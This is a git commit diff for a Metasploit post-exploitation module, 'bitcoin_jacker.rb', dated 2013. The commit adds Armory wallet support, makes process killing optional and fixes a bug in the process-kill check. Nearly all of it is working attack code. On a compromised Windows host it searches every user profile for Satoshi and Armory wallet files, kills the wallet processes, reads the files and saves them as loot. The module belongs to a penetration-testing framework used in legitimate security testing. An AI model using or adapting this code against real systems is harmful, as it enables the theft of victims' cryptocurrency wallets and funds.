DRY up bitcoin_jacker.rb, support Armory

Also, make the process killing optional.
bug/bundler_fix
Tod Beardsley 2013-12-29 13:07:43 -06:00
parent 9384a466c1
commit 5e0c7e4741
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
1 changed files with 51 additions and 16 deletions

View File

@ -17,32 +17,67 @@ class Metasploit3 < Msf::Post
super( update_info( info,
'Name' => 'Windows Gather Bitcoin Wallet',
'Description' => %q{
This module downloads any Bitcoin Wallet files from the target
system.
This module downloads any Bitcoin wallet files from the target
system. It currently supports both the classic Satoshi wallet and the
more recent Armory wallets. Note that Satoshi wallets tend to be
unencrypted by default, while Armory wallets tend to be encrypted by default.
},
'License' => MSF_LICENSE,
'Author' => [ 'illwill <illwill[at]illmob.org>'],
'Platform' => [ 'win' ],
'Author' => [
'illwill <illwill[at]illmob.org>', # Original implementation
'todb', # Added Armory support
],
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
'SessionTypes' => [ 'meterpreter' ]
))
register_options([
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', true]),
], self.class)
end
def run
print_status("Checking All Users For Bitcoin Wallets...")
print_status("Checking all user profiles for Bitcoin wallets...")
found_wallets = false
grab_user_profiles().each do |user|
next unless user['AppData']
bitcoin_wallet_path = user['AppData'] + "\\Bitcoin\\wallet.dat"
next unless file?(bitcoin_wallet_path)
jack_bitcoin_wallet(bitcoin_wallet_path)
found_wallets = true
jack_wallet(bitcoin_wallet_path)
armory_wallet_path = user['AppData'] + "\\Armory"
session.fs.dir.foreach(armory_wallet_path) do |fname|
next unless fname =~ /\.wallet/
found_wallets = true
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
jack_wallet(armory_wallet_fullpath)
end
end
unless found_wallets
print_warning "No wallets found, nothing to do."
end
end
def jack_bitcoin_wallet(wallet_path)
def jack_wallet(wallet_path)
data = ""
print_status("Wallet found at #{wallet_path}")
print_status("Jackin' their wallet...")
wallet_type = case wallet_path
when /\.wallet$/
:armory
when /wallet\.dat$/
:satoshi
else
:unknown
end
kill_bitcoin # TODO: A little heavy-handed, determine when this should happen
if wallet_type == :unknown
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
return
end
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
print_status("Jackin' wallet...")
kill_bitcoin_processes if datastore['KILL_PROCESSES']
begin
data = read_file(wallet_path) || ''
@ -52,27 +87,27 @@ class Metasploit3 < Msf::Post
end
if data.empty?
print_error("No data found")
print_error("No data found, nothing to save.")
else
loot_result = store_loot(
"bitcoin.wallet",
"bitcoin.wallet.#{wallet_type}",
"application/octet-stream",
session,
data,
wallet_path,
"Bitcoin Wallet"
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
)
print_status("Wallet jacked: #{loot_result}")
end
end
def kill_bitcoin
def kill_bitcoin_processes
client.sys.process.get_processes().each do |process|
pname = process['name'].downcase
if pname == "bitcoin.exe" || "bitcoind.exe"
if pname == "bitcoin.exe" || pname == "bitcoind.exe" || pname == "armoryqt.exe"
print_status("#{process['name']} Process Found...")
print_status("Killing Process ID #{process['pid']}...")
session.sys.process.kill(x['pid']) rescue nil
session.sys.process.kill(process['pid'])
end
end
end